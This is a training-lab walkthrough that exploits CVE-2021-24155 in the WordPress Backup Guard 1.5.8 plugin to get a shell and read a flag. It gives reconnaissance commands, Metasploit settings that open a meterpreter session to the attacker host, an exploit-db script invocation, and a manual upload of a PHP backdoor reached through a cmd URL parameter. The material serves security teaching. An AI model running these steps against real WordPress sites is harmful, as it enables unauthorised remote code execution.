Lab Walkthrough - WordPress Plugin Backup Guard RCE
In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!
This exercise is to understand how to exploit the WordPress Plugin Backup Guard v1.5.8 to gain a shell of the target machine (CVE-2021-24155).
Purpose: We will learn how to exploit the WordPress Plugin Backup Guard using the Metasploit Framework module. We will see how to exploit it with a python script as well. We will also learn how to exploit it manually to better understand the vulnerability.
Goal after completing this scenario: Access the /flag.txt file and read the flag!
Technical difficulty: Beginner
In 2021, a critical vulnerability was found in the WordPress Plugin Backup Guard. The plugin before v1.6.0 did not ensure that the imported files are of the SGBP format and extension, allowing high privilege users (admin+) to upload arbitrary files, including PHP ones, leading to RCE.
This vulnerability has been assigned the CVE id CVE-2021-24155. The CVSS score for this vulnerability is 7.2 High.
What is WordPress Plugin Backup Guard?
WordPress Backup and Migrate Plugin – Backup Guard allows you to easily Restore, Migrate and Backup WordPress website. Using this plugin one can easily backup and restore their WordPress files, database, or both.
In this lab environment, the user is going to get access to a Kali GUI instance. A vulnerable version of WordPress Plugin Backup Guard is running on the target machine. It can be accessed using the tools installed on Kali at http://demo.ine.local.
The following credentials might be helpful:
Objective: Exploit the remote code execution (RCE) vulnerability in WordPress Plugin Backup Guard v1.5.8 to gain shell access on the target server and retrieve the flag!
The best tools for this lab are:
A web browser
Step 1: Open the lab link to access the Kali GUI instance.
Step 2: Check if the provided machine/domain is reachable.
Command: ping -c3 demo.ine.local
The provided machine is reachable. 126.96.36.199 is the IP address of the target machine.
Step 3: Check open ports on the provided machine.
Command: nmap -sS -sV demo.ine.local
Apache httpd 2.4.29 is running on port 80 on the target machine.
Step 4: Next we will use dirb tool to find files and directories on the web server.
Command: dirb http://demo.ine.local
Step 5: We can notice that WordPress is running on the target machine. We will run the dirb tool again to find installed plugins on the target machine.
Command: dirb http://demo.ine.local/wp-content/plugins /usr/share/nmap/nselib/data/wp-plugins.lst
Step 6: We can notice, that the backup plugin is installed on the target machine. All the WordPress plugins have the "README.txt" or “readme.txt” file, from which we can find out the plugin version. We can use the curl command here to view the content of the "README.txt" file.
The Stable tag shows 1.5.8, which is a vulnerable version.
Exploit using Metasploit module
Step 7: First check the attacker machine’s IP address.
188.8.131.52 is the attacker machine's IP address.
Step 8: Start the msfconsole and do a search for the module for CVE-2021-24155.
Step 9: We will use the above listed module. The credentials to use are:
Run the following commands one by one:
set username admin
set password pass456
set RHOSTS 184.108.40.206
set LHOST 220.127.116.11
Note: RHOSTS is the target machine IP address and LHOST is the attacker machine IP address. And these values may vary for you.
We have successfully gained the meterpreter session.
Step 10: Let's retrieve the flag. Run the following command over the meterpreter to access bash.
Step 11: Read the flag.
Exploit using python script
Step 12: You can search for 'WordPress Plugin Backup Guard 1.5.8 exploit db' on google and get to the page shown below. Or you can use the direct link given below to go to the corresponding exploit db page. This contains the python3 script that we will use to exploit the vulnerability.
Direct link: https://www.exploit-db.com/exploits/50093
Step 13: From the terminal, save the code in a file named exploit.py. The credentials to use are:
Now, run the script along with the required arguments as:
Command: python3 exploit.py -T demo.ine.local -P 80 -U / -u admin -p pass456
Step 14: Open the webshell that you uploaded. Retrieve the flag by running the following commands:
Step 15: Navigate to the following URL and login into the WordPress application using the following credentials:
Step 16: Configure the intercept on the browser as shown below.
Step 17: Start Burp Suite and just refresh the current page to capture the request. Next, send the captured request to the repeater. And then you can turn off the intercept.
Step 18: We will use the below endpoint to push a PHP backdoor in the uploads/backup-guard directory. Note that the token value might vary for you.
To fetch the token, go to the Backups page of the plugin, right-click on the page and click on View Page Source. You can locate the token here as shown.
Replace the request in the repeater with the following. Remember to change the cookie and the token in your case. And then hit send.
A new file has been created in uploads/backup-guard/ folder.
Step 19: Access the backdoor and run the command ls /.
URL: http://demo.ine.local/wp-content/uploads/backup-guard/backdoor.php?cmd=ls /
The flag is there. Retrieve the flag with cat /flag.txt command.
In this lab we exploited the remote code execution vulnerability that exists in WordPress Plugin Backup Guard 1.5.8 using the Metasploit module, using python script as well as manually. The vulnerability occurred because it was not ensured that the imported files are of the SGBP format and extension.
Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!